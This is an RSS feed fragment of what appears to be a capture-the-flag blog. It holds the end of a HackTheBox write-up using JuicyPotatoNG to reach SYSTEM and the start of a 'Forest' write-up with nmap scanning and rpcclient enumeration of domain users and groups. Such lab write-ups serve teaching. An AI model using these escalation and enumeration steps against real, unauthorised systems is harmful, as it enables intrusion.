(<span class="hljs-selector-tag">c</span>) 2018 <span class="hljs-selector-tag">Microsoft</span> <span class="hljs-selector-tag">Corporation</span>. <span class="hljs-selector-tag">All</span> <span class="hljs-selector-tag">rights</span> <span class="hljs-selector-tag">reserved</span>.

<span class="hljs-selector-tag">c</span>:\&gt;<span class="hljs-selector-tag">whoami</span>
    <span class="hljs-selector-tag">whoami</span>
<span class="hljs-selector-tag">whoami</span>
<span class="hljs-selector-tag">nt</span> <span class="hljs-selector-tag">authority</span>\<span class="hljs-selector-tag">system</span>
</code></pre>
<ul>
<li><p><code>JuicyPotatoNG.exe</code>: This is the name of the JuicyPotatoNG executable, which is the tool used for privilege escalation.</p>
</li>
<li><p><code>-t</code><em>: This option specifies the "createprocess call" mode. The asterisk (</em>) indicates that the tool should try both available options, which are <code>CreateProcessWithTokenW</code> and <code>CreateProcessAsUser</code>. These options are used to create a process with different token privileges.</p>
</li>
<li><p><code>-p "C:\Windows\System32\cmd.exe"</code>: This option specifies the program to launch, which is the Windows Command Prompt (<code>cmd.exe</code>). In other words, it's instructing JuicyPotatoNG to attempt privilege escalation by running a Command Prompt.</p>
</li>
<li><p><code>-i</code>: This option indicates "Interactive Console." It is valid only when using <code>CreateProcessAsUser</code>. When used, it means that the Command Prompt will run in an interactive mode, allowing you to interact with it directly.</p>
</li>
</ul>
<p>Now that we are <code>nt authority\system</code> we grab the root.txt.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697929461449/8452ef59-5457-44ec-9805-8fecbfb4c04b.png" alt class="image--center mx-auto" /></p>
<p>HAPPY HACKING!!!</p>
<p><a target="_blank" href="https://www.buymeacoffee.com/x401a"><img src="https://cdn.buymeacoffee.com/buttons/v2/default-blue.png" alt="Buy Me A Coffee" /></a></p>
]]></content:encoded></item><item><title><![CDATA[Undercover in the Forest: Unmasking ASREPRoasting and DcSync]]></title><description><![CDATA[Reconnaissance(Information gathering)
so we begin our enumeration by doing an nmap scan on the machine using the custom nmap script written in bash,

result=$(nmap -p- --min-rate=1000 -Pn  -T4 10.129.171.71   | grep '^[0-9]' | cut -d '/' -f 1 | tr '\...]]></description><link>https://x401a.hashnode.dev/undercover-in-the-forest-unmasking-asreproasting-and-dcsync</link><guid isPermaLink="true">https://x401a.hashnode.dev/undercover-in-the-forest-unmasking-asreproasting-and-dcsync</guid><category><![CDATA[Active Directory]]></category><category><![CDATA[AsRepRoasting]]></category><category><![CDATA[Windows]]></category><category><![CDATA[DCSync Exploitation]]></category><category><![CDATA[#HackTheBox]]></category><dc:creator><![CDATA[Isayar17]]></dc:creator><pubDate>Sat, 14 Oct 2023 02:19:55 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1697249455633/74879515-a137-4d26-8d33-21254537398c.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697228217679/fa6f11fe-d306-4ed2-9e39-d120bfa23aed.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-reconnaissanceinformation-gathering">Reconnaissance(Information gathering)</h3>
<p>so we begin our enumeration by doing an nmap scan on the machine using the custom <code>nmap</code> script written in bash,</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697228747286/274c2771-3c07-48fb-9631-233febc0a33a.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-bash">result=$(nmap -p- --min-rate=1000 -Pn  -T4 10.129.171.71   | grep <span class="hljs-string">'^[0-9]'</span> | cut -d <span class="hljs-string">'/'</span> -f 1 | tr <span class="hljs-string">'\n'</span> <span class="hljs-string">','</span> | sed <span class="hljs-string">'s/,$//'</span> | tr -d <span class="hljs-string">'%'</span>);nmap -p<span class="hljs-variable">$result</span> -Pn  -sC -sV 10.129.171.71   -oA forest
</code></pre>
<p>this script is a combination of two <code>nmap</code> commands, the first <code>nmap</code> command in this script scans all 65,535 possible network ports on the target computer with the IP address <code>10.129.171.71</code> . It scans quickly checking about 1,000 ports per second, and it doesn't bother with looking up hostnames ( <code>-Pn</code>). The main goal of the scan is to figure out the ports that are open and accessible.</p>
<p>The output of the first <code>nmap</code> command is the piped <code>|</code> into a series of text processing commands:</p>
<p><code>grep '^[0-9]'</code> filters the lines that start with a number. This is used to isolate the lines containing port numbers.</p>
<p><code>cut -d '/' -f 1</code> splits each line at the '/' character and keeps only the first field, which represents the port number. This separates the port number from additional information.</p>
<p><code>tr '\n' ','</code> replaces newline characters with commas, effectively creating a comma-separated list of open ports.</p>
<p><code>sed 's/,$//'</code> removes the trailing comma at the end of the list.</p>
<p><code>tr -d '%'</code> removes any '%' characters incase there are any in the list</p>
<p>The second <code>nmap</code> command is executed by scanning the ports specified in the <code>result</code> variable. It peforms a service and version detection <code>-sC -sV</code> and the output is saved to a set of files with the prefix forest <code>-oA forest</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697230253788/06015e64-d4c8-44e6-bbce-80e92e01be65.png" alt class="image--center mx-auto" /></p>
<p>and we get the nmap scan result as:</p>
<pre><code class="lang-css"># <span class="hljs-selector-tag">Nmap</span> 7<span class="hljs-selector-class">.94</span> <span class="hljs-selector-tag">scan</span> <span class="hljs-selector-tag">initiated</span> <span class="hljs-selector-tag">Fri</span> <span class="hljs-selector-tag">Oct</span> 13 23<span class="hljs-selector-pseudo">:23</span><span class="hljs-selector-pseudo">:44</span> 2023 <span class="hljs-selector-tag">as</span>: <span class="hljs-selector-tag">nmap</span> <span class="hljs-selector-tag">-p53</span>,135,139,389,445,464,593,636,3269,5985,9389,47001,49664,49665,49666,49667,49671,49676,49677,49681,49698,62660 <span class="hljs-selector-tag">-Pn</span> <span class="hljs-selector-tag">-sC</span> <span class="hljs-selector-tag">-sV</span> <span class="hljs-selector-tag">-oA</span> <span class="hljs-selector-tag">forest</span> 10<span class="hljs-selector-class">.129</span><span class="hljs-selector-class">.171</span><span class="hljs-selector-class">.71</span>
<span class="hljs-selector-tag">Nmap</span> <span class="hljs-selector-tag">scan</span> <span class="hljs-selector-tag">report</span> <span class="hljs-selector-tag">for</span> 10<span class="hljs-selector-class">.129</span><span class="hljs-selector-class">.171</span><span class="hljs-selector-class">.71</span>
<span class="hljs-selector-tag">Host</span> <span class="hljs-selector-tag">is</span> <span class="hljs-selector-tag">up</span> (0<span class="hljs-selector-class">.56s</span> <span class="hljs-selector-tag">latency</span>).

<span class="hljs-selector-tag">PORT</span>      <span class="hljs-selector-tag">STATE</span> <span class="hljs-selector-tag">SERVICE</span>     <span class="hljs-selector-tag">VERSION</span>
53/<span class="hljs-selector-tag">tcp</span>    <span class="hljs-selector-tag">open</span>  <span class="hljs-selector-tag">domain</span>      <span class="hljs-selector-tag">Simple</span> <span class="hljs-selector-tag">DNS</span> <span class="hljs-selector-tag">Plus</span>
135/<span class="hljs-selector-tag">tcp</span>   <span class="hljs-selector-tag">open</span>  <span class="hljs-selector-tag">msrpc</span>       <span class="hljs-selector-tag">Microsoft</span> <span class="hljs-selector-tag">Windows</span> <span class="hljs-selector-tag">RPC</span>
139/<span class="hljs-selector-tag">tcp</span>   <span class="hljs-selector-tag">open</span>  <span class="hljs-selector-tag">netbios-ssn</span> <span class="hljs-selector-tag">Microsoft</span> <span class="hljs-selector-tag">Windows</span> <span class="hljs-selector-tag">netbios-ssn</span>
389/<span class="hljs-selector-tag">tcp</span>   <span class="hljs-selector-tag">open</span>  <span class="hljs-selector-tag">ldap</span>        <span class="hljs-selector-tag">Microsoft</span> <span class="hljs-selector-tag">Windows</span> <span class="hljs-selector-tag">Active</span> <span class="hljs-selector-tag">Directory</span> <span class="hljs-selector-tag">LDAP</span> (<span class="hljs-selector-tag">Domain</span>: <span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>, <span class="hljs-selector-tag">Site</span>: <span class="hljs-selector-tag">Default-First-Site-Name</span>)
445/<span class="hljs-selector-tag">tcp</span>   <span class="hljs-selector-tag">open</span>  `<span class="hljs-selector-tag">-W</span>/�<span class="hljs-selector-tag">U</span>      <span class="hljs-selector-tag">Windows</span> <span class="hljs-selector-tag">Server</span> 2016 <span class="hljs-selector-tag">Standard</span> 14393 <span class="hljs-selector-tag">microsoft-ds</span> (<span class="hljs-selector-tag">workgroup</span>: <span class="hljs-selector-tag">HTB</span>)
464/<span class="hljs-selector-tag">tcp</span>   <span class="hljs-selector-tag">open</span>  <span class="hljs-selector-tag">kpasswd5</span>?
593/<span class="hljs-selector-tag">tcp</span>   <span class="hljs-selector-tag">open</span>  <span class="hljs-selector-tag">ncacn_http</span>  <span class="hljs-selector-tag">Microsoft</span> <span class="hljs-selector-tag">Windows</span> <span class="hljs-selector-tag">RPC</span> <span class="hljs-selector-tag">over</span> <span class="hljs-selector-tag">HTTP</span> 1<span class="hljs-selector-class">.0</span>
636/<span class="hljs-selector-tag">tcp</span>   <span class="hljs-selector-tag">open</span>  <span class="hljs-selector-tag">tcpwrapped</span>
3269/<span class="hljs-selector-tag">tcp</span>  <span class="hljs-selector-tag">open</span>  <span class="hljs-selector-tag">tcpwrapped</span>
5985/<span class="hljs-selector-tag">tcp</span>  <span class="hljs-selector-tag">open</span>  <span class="hljs-selector-tag">http</span>        <span class="hljs-selector-tag">Microsoft</span> <span class="hljs-selector-tag">HTTPAPI</span> <span class="hljs-selector-tag">httpd</span> 2<span class="hljs-selector-class">.0</span> (<span class="hljs-selector-tag">SSDP</span>/<span class="hljs-selector-tag">UPnP</span>)
|_<span class="hljs-selector-tag">http-server-header</span>: <span class="hljs-selector-tag">Microsoft-HTTPAPI</span>/2<span class="hljs-selector-class">.0</span>
|_<span class="hljs-selector-tag">http-title</span>: <span class="hljs-selector-tag">Not</span> <span class="hljs-selector-tag">Found</span>
9389/<span class="hljs-selector-tag">tcp</span>  <span class="hljs-selector-tag">open</span>  <span class="hljs-selector-tag">mc-nmf</span>      <span class="hljs-selector-class">.NET</span> <span class="hljs-selector-tag">Message</span> <span class="hljs-selector-tag">Framing</span>
47001/<span class="hljs-selector-tag">tcp</span> <span class="hljs-selector-tag">open</span>  <span class="hljs-selector-tag">http</span>        <span class="hljs-selector-tag">Microsoft</span> <span class="hljs-selector-tag">HTTPAPI</span> <span class="hljs-selector-tag">httpd</span> 2<span class="hljs-selector-class">.0</span> (<span class="hljs-selector-tag">SSDP</span>/<span class="hljs-selector-tag">UPnP</span>)
|_<span class="hljs-selector-tag">http-title</span>: <span class="hljs-selector-tag">Not</span> <span class="hljs-selector-tag">Found</span>
|_<span class="hljs-selector-tag">http-server-header</span>: <span class="hljs-selector-tag">Microsoft-HTTPAPI</span>/2<span class="hljs-selector-class">.0</span>
49664/<span class="hljs-selector-tag">tcp</span> <span class="hljs-selector-tag">open</span>  <span class="hljs-selector-tag">msrpc</span>       <span class="hljs-selector-tag">Microsoft</span> <span class="hljs-selector-tag">Windows</span> <span class="hljs-selector-tag">RPC</span>
49665/<span class="hljs-selector-tag">tcp</span> <span class="hljs-selector-tag">open</span>  <span class="hljs-selector-tag">msrpc</span>       <span class="hljs-selector-tag">Microsoft</span> <span class="hljs-selector-tag">Windows</span> <span class="hljs-selector-tag">RPC</span>
49666/<span class="hljs-selector-tag">tcp</span> <span class="hljs-selector-tag">open</span>  <span class="hljs-selector-tag">msrpc</span>       <span class="hljs-selector-tag">Microsoft</span> <span class="hljs-selector-tag">Windows</span> <span class="hljs-selector-tag">RPC</span>
49667/<span class="hljs-selector-tag">tcp</span> <span class="hljs-selector-tag">open</span>  <span class="hljs-selector-tag">msrpc</span>       <span class="hljs-selector-tag">Microsoft</span> <span class="hljs-selector-tag">Windows</span> <span class="hljs-selector-tag">RPC</span>
49671/<span class="hljs-selector-tag">tcp</span> <span class="hljs-selector-tag">open</span>  <span class="hljs-selector-tag">msrpc</span>       <span class="hljs-selector-tag">Microsoft</span> <span class="hljs-selector-tag">Windows</span> <span class="hljs-selector-tag">RPC</span>
49676/<span class="hljs-selector-tag">tcp</span> <span class="hljs-selector-tag">open</span>  <span class="hljs-selector-tag">ncacn_http</span>  <span class="hljs-selector-tag">Microsoft</span> <span class="hljs-selector-tag">Windows</span> <span class="hljs-selector-tag">RPC</span> <span class="hljs-selector-tag">over</span> <span class="hljs-selector-tag">HTTP</span> 1<span class="hljs-selector-class">.0</span>
49677/<span class="hljs-selector-tag">tcp</span> <span class="hljs-selector-tag">open</span>  <span class="hljs-selector-tag">msrpc</span>       <span class="hljs-selector-tag">Microsoft</span> <span class="hljs-selector-tag">Windows</span> <span class="hljs-selector-tag">RPC</span>
49681/<span class="hljs-selector-tag">tcp</span> <span class="hljs-selector-tag">open</span>  <span class="hljs-selector-tag">msrpc</span>       <span class="hljs-selector-tag">Microsoft</span> <span class="hljs-selector-tag">Windows</span> <span class="hljs-selector-tag">RPC</span>
49698/<span class="hljs-selector-tag">tcp</span> <span class="hljs-selector-tag">open</span>  <span class="hljs-selector-tag">msrpc</span>       <span class="hljs-selector-tag">Microsoft</span> <span class="hljs-selector-tag">Windows</span> <span class="hljs-selector-tag">RPC</span>
62660/<span class="hljs-selector-tag">tcp</span> <span class="hljs-selector-tag">open</span>  <span class="hljs-selector-tag">msrpc</span>       <span class="hljs-selector-tag">Microsoft</span> <span class="hljs-selector-tag">Windows</span> <span class="hljs-selector-tag">RPC</span>
<span class="hljs-selector-tag">Service</span> <span class="hljs-selector-tag">Info</span>: <span class="hljs-selector-tag">Host</span>: <span class="hljs-selector-tag">FOREST</span>; <span class="hljs-selector-tag">OS</span>: <span class="hljs-selector-tag">Windows</span>; <span class="hljs-selector-tag">CPE</span>: <span class="hljs-selector-tag">cpe</span>:/<span class="hljs-selector-tag">o</span><span class="hljs-selector-pseudo">:microsoft</span><span class="hljs-selector-pseudo">:windows</span>

<span class="hljs-selector-tag">Host</span> <span class="hljs-selector-tag">script</span> <span class="hljs-selector-tag">results</span>:
| <span class="hljs-selector-tag">smb2-time</span>: 
|   <span class="hljs-selector-tag">date</span>: 2023<span class="hljs-selector-tag">-10-13T20</span><span class="hljs-selector-pseudo">:31</span><span class="hljs-selector-pseudo">:42</span>
|_  <span class="hljs-selector-tag">start_date</span>: 2023<span class="hljs-selector-tag">-10-13T20</span><span class="hljs-selector-pseudo">:10</span><span class="hljs-selector-pseudo">:53</span>
| <span class="hljs-selector-tag">smb-security-mode</span>: 
|   <span class="hljs-selector-tag">account_used</span>: <span class="hljs-selector-tag">guest</span>
|   <span class="hljs-selector-tag">authentication_level</span>: <span class="hljs-selector-tag">user</span>
|   <span class="hljs-selector-tag">challenge_response</span>: <span class="hljs-selector-tag">supported</span>
|_  <span class="hljs-selector-tag">message_signing</span>: <span class="hljs-selector-tag">required</span>
| <span class="hljs-selector-tag">smb-os-discovery</span>: 
|   <span class="hljs-selector-tag">OS</span>: <span class="hljs-selector-tag">Windows</span> <span class="hljs-selector-tag">Server</span> 2016 <span class="hljs-selector-tag">Standard</span> 14393 (<span class="hljs-selector-tag">Windows</span> <span class="hljs-selector-tag">Server</span> 2016 <span class="hljs-selector-tag">Standard</span> 6<span class="hljs-selector-class">.3</span>)
|   <span class="hljs-selector-tag">Computer</span> <span class="hljs-selector-tag">name</span>: <span class="hljs-selector-tag">FOREST</span>
|   <span class="hljs-selector-tag">NetBIOS</span> <span class="hljs-selector-tag">computer</span> <span class="hljs-selector-tag">name</span>: <span class="hljs-selector-tag">FOREST</span>\<span class="hljs-selector-tag">x00</span>
|   <span class="hljs-selector-tag">Domain</span> <span class="hljs-selector-tag">name</span>: <span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>
|   <span class="hljs-selector-tag">Forest</span> <span class="hljs-selector-tag">name</span>: <span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>
|   <span class="hljs-selector-tag">FQDN</span>: <span class="hljs-selector-tag">FOREST</span><span class="hljs-selector-class">.htb</span><span class="hljs-selector-class">.local</span>
|_  <span class="hljs-selector-tag">System</span> <span class="hljs-selector-tag">time</span>: 2023<span class="hljs-selector-tag">-10-13T13</span><span class="hljs-selector-pseudo">:31</span><span class="hljs-selector-pseudo">:46-07</span><span class="hljs-selector-pseudo">:00</span>
| <span class="hljs-selector-tag">smb2-security-mode</span>: 
|   3<span class="hljs-selector-pseudo">:1</span><span class="hljs-selector-pseudo">:1</span>: 
|_    <span class="hljs-selector-tag">Message</span> <span class="hljs-selector-tag">signing</span> <span class="hljs-selector-tag">enabled</span> <span class="hljs-selector-tag">and</span> <span class="hljs-selector-tag">required</span>
|_<span class="hljs-selector-tag">clock-skew</span>: <span class="hljs-selector-tag">mean</span>: 2<span class="hljs-selector-tag">h26m50s</span>, <span class="hljs-selector-tag">deviation</span>: 4<span class="hljs-selector-tag">h02m32s</span>, <span class="hljs-selector-tag">median</span>: 6<span class="hljs-selector-tag">m48s</span>
</code></pre>
<p>if you even look closely the nmap scan targetted the ports that were discovered in the first place. We also make sure to add the domain <code>htb.local</code> to <code>/etc/hosts</code> file using the command</p>
<pre><code class="lang-css"><span class="hljs-selector-tag">echo</span> "10<span class="hljs-selector-class">.129</span><span class="hljs-selector-class">.171</span><span class="hljs-selector-class">.71</span> <span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>" | <span class="hljs-selector-tag">sudo</span> <span class="hljs-selector-tag">tee</span> <span class="hljs-selector-tag">-a</span> /<span class="hljs-selector-tag">etc</span>/<span class="hljs-selector-tag">hosts</span>
</code></pre>
<h3 id="heading-enumeration">Enumeration</h3>
<p>By just checking the<code>nmap</code> output we see that we are dealing with a Windows Active Directory(Domain controller), the information on <code>Port 389/tcp</code> which is open identifies it as Microsoft Windows Active Directory LDAP, we also see domain information as <code>Domain:htb.local</code> , kerberos <code>port 88/tcp</code> and also dns <code>port 53/tcp</code> and its also interesting to see that <code>port 5985/tcp</code> (Winrm service) is open.</p>
<p>we begin by enumerating <code>smb</code> and we see that it allows anonymous access but seems like we don't get a listing of the shares as much as we got nothing much this is interesting!!!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697231633713/468b071f-c3dd-44bb-9d7c-58ae9fc2b988.png" alt class="image--center mx-auto" /></p>
<p>we move forward to port 135(RPC) and begin doing our enumeration we start off with</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697232610338/6b187176-43d2-4970-8686-45d00230e686.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-css"><span class="hljs-selector-tag">rpcclient</span> $&gt; <span class="hljs-selector-tag">querydominfo</span>
</code></pre>
<p>which gives us information regarding the domain, we do thorough enumeration through the commands <code>enumdomgroups</code> , <code>enumdomusers</code> and we get a very interesting output that can help us in the future. we get the output for <code>enumdomgroups</code> as;</p>
<pre><code class="lang-css"><span class="hljs-selector-tag">rpcclient</span> $&gt; <span class="hljs-selector-tag">enumdomgroups</span>
<span class="hljs-selector-tag">group</span>:<span class="hljs-selector-attr">[Enterprise Read-only Domain Controllers]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x1f2]</span>
<span class="hljs-selector-tag">group</span>:<span class="hljs-selector-attr">[Domain Admins]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x200]</span>
<span class="hljs-selector-tag">group</span>:<span class="hljs-selector-attr">[Domain Users]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x201]</span>
<span class="hljs-selector-tag">group</span>:<span class="hljs-selector-attr">[Domain Guests]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x202]</span>
<span class="hljs-selector-tag">group</span>:<span class="hljs-selector-attr">[Domain Computers]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x203]</span>
<span class="hljs-selector-tag">group</span>:<span class="hljs-selector-attr">[Domain Controllers]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x204]</span>
<span class="hljs-selector-tag">group</span>:<span class="hljs-selector-attr">[Schema Admins]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x206]</span>
<span class="hljs-selector-tag">group</span>:<span class="hljs-selector-attr">[Enterprise Admins]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x207]</span>
<span class="hljs-selector-tag">group</span>:<span class="hljs-selector-attr">[Group Policy Creator Owners]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x208]</span>
<span class="hljs-selector-tag">group</span>:<span class="hljs-selector-attr">[Read-only Domain Controllers]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x209]</span>
<span class="hljs-selector-tag">group</span>:<span class="hljs-selector-attr">[Cloneable Domain Controllers]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x20a]</span>
<span class="hljs-selector-tag">group</span>:<span class="hljs-selector-attr">[Protected Users]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x20d]</span>
<span class="hljs-selector-tag">group</span>:<span class="hljs-selector-attr">[Key Admins]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x20e]</span>
<span class="hljs-selector-tag">group</span>:<span class="hljs-selector-attr">[Enterprise Key Admins]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x20f]</span>
<span class="hljs-selector-tag">group</span>:<span class="hljs-selector-attr">[DnsUpdateProxy]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x44e]</span>
<span class="hljs-selector-tag">group</span>:<span class="hljs-selector-attr">[Organization Management]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x450]</span>
<span class="hljs-selector-tag">group</span>:<span class="hljs-selector-attr">[Recipient Management]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x451]</span>
<span class="hljs-selector-tag">group</span>:<span class="hljs-selector-attr">[View-Only Organization Management]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x452]</span>
<span class="hljs-selector-tag">group</span>:<span class="hljs-selector-attr">[Public Folder Management]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x453]</span>
<span class="hljs-selector-tag">group</span>:<span class="hljs-selector-attr">[UM Management]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x454]</span>
<span class="hljs-selector-tag">group</span>:<span class="hljs-selector-attr">[Help Desk]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x455]</span>
<span class="hljs-selector-tag">group</span>:<span class="hljs-selector-attr">[Records Management]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x456]</span>
<span class="hljs-selector-tag">group</span>:<span class="hljs-selector-attr">[Discovery Management]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x457]</span>
<span class="hljs-selector-tag">group</span>:<span class="hljs-selector-attr">[Server Management]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x458]</span>
<span class="hljs-selector-tag">group</span>:<span class="hljs-selector-attr">[Delegated Setup]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x459]</span>
<span class="hljs-selector-tag">group</span>:<span class="hljs-selector-attr">[Hygiene Management]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x45a]</span>
<span class="hljs-selector-tag">group</span>:<span class="hljs-selector-attr">[Compliance Management]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x45b]</span>
<span class="hljs-selector-tag">group</span>:<span class="hljs-selector-attr">[Security Reader]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x45c]</span>
<span class="hljs-selector-tag">group</span>:<span class="hljs-selector-attr">[Security Administrator]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x45d]</span>
<span class="hljs-selector-tag">group</span>:<span class="hljs-selector-attr">[Exchange Servers]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x45e]</span>
<span class="hljs-selector-tag">group</span>:<span class="hljs-selector-attr">[Exchange Trusted Subsystem]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x45f]</span>
<span class="hljs-selector-tag">group</span>:<span class="hljs-selector-attr">[Managed Availability Servers]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x460]</span>
<span class="hljs-selector-tag">group</span>:<span class="hljs-selector-attr">[Exchange Windows Permissions]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x461]</span>
<span class="hljs-selector-tag">group</span>:<span class="hljs-selector-attr">[ExchangeLegacyInterop]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x462]</span>
<span class="hljs-selector-tag">group</span>:<span class="hljs-selector-attr">[$D31000-NSEL5BRJ63V7]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x46d]</span>
<span class="hljs-selector-tag">group</span>:<span class="hljs-selector-attr">[Service Accounts]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x47c]</span>
<span class="hljs-selector-tag">group</span>:<span class="hljs-selector-attr">[Privileged IT Accounts]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x47d]</span>
<span class="hljs-selector-tag">group</span>:<span class="hljs-selector-attr">[test]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x13ed]</span>
</code></pre>
<p>and the output of <code>enumdomusers</code> as;</p>
<pre><code class="lang-css"><span class="hljs-selector-tag">rpcclient</span> $&gt; <span class="hljs-selector-tag">enumdomusers</span>
<span class="hljs-selector-tag">user</span>:<span class="hljs-selector-attr">[Administrator]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x1f4]</span>
<span class="hljs-selector-tag">user</span>:<span class="hljs-selector-attr">[Guest]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x1f5]</span>
<span class="hljs-selector-tag">user</span>:<span class="hljs-selector-attr">[krbtgt]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x1f6]</span>
<span class="hljs-selector-tag">user</span>:<span class="hljs-selector-attr">[DefaultAccount]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x1f7]</span>
<span class="hljs-selector-tag">user</span>:<span class="hljs-selector-attr">[$331000-VK4ADACQNUCA]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x463]</span>
<span class="hljs-selector-tag">user</span>:<span class="hljs-selector-attr">[SM_2c8eef0a09b545acb]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x464]</span>
<span class="hljs-selector-tag">user</span>:<span class="hljs-selector-attr">[SM_ca8c2ed5bdab4dc9b]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x465]</span>
<span class="hljs-selector-tag">user</span>:<span class="hljs-selector-attr">[SM_75a538d3025e4db9a]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x466]</span>
<span class="hljs-selector-tag">user</span>:<span class="hljs-selector-attr">[SM_681f53d4942840e18]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x467]</span>
<span class="hljs-selector-tag">user</span>:<span class="hljs-selector-attr">[SM_1b41c9286325456bb]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x468]</span>
<span class="hljs-selector-tag">user</span>:<span class="hljs-selector-attr">[SM_9b69f1b9d2cc45549]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x469]</span>
<span class="hljs-selector-tag">user</span>:<span class="hljs-selector-attr">[SM_7c96b981967141ebb]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x46a]</span>
<span class="hljs-selector-tag">user</span>:<span class="hljs-selector-attr">[SM_c75ee099d0a64c91b]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x46b]</span>
<span class="hljs-selector-tag">user</span>:<span class="hljs-selector-attr">[SM_1ffab36a2f5f479cb]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x46c]</span>
<span class="hljs-selector-tag">user</span>:<span class="hljs-selector-attr">[HealthMailboxc3d7722]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x46e]</span>
<span class="hljs-selector-tag">user</span>:<span class="hljs-selector-attr">[HealthMailboxfc9daad]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x46f]</span>
<span class="hljs-selector-tag">user</span>:<span class="hljs-selector-attr">[HealthMailboxc0a90c9]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x470]</span>
<span class="hljs-selector-tag">user</span>:<span class="hljs-selector-attr">[HealthMailbox670628e]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x471]</span>
<span class="hljs-selector-tag">user</span>:<span class="hljs-selector-attr">[HealthMailbox968e74d]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x472]</span>
<span class="hljs-selector-tag">user</span>:<span class="hljs-selector-attr">[HealthMailbox6ded678]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x473]</span>
<span class="hljs-selector-tag">user</span>:<span class="hljs-selector-attr">[HealthMailbox83d6781]</span> <span class="hljs-selector-tag">rid</span>:<span class="hljs-selector-attr">[0x474]</span>
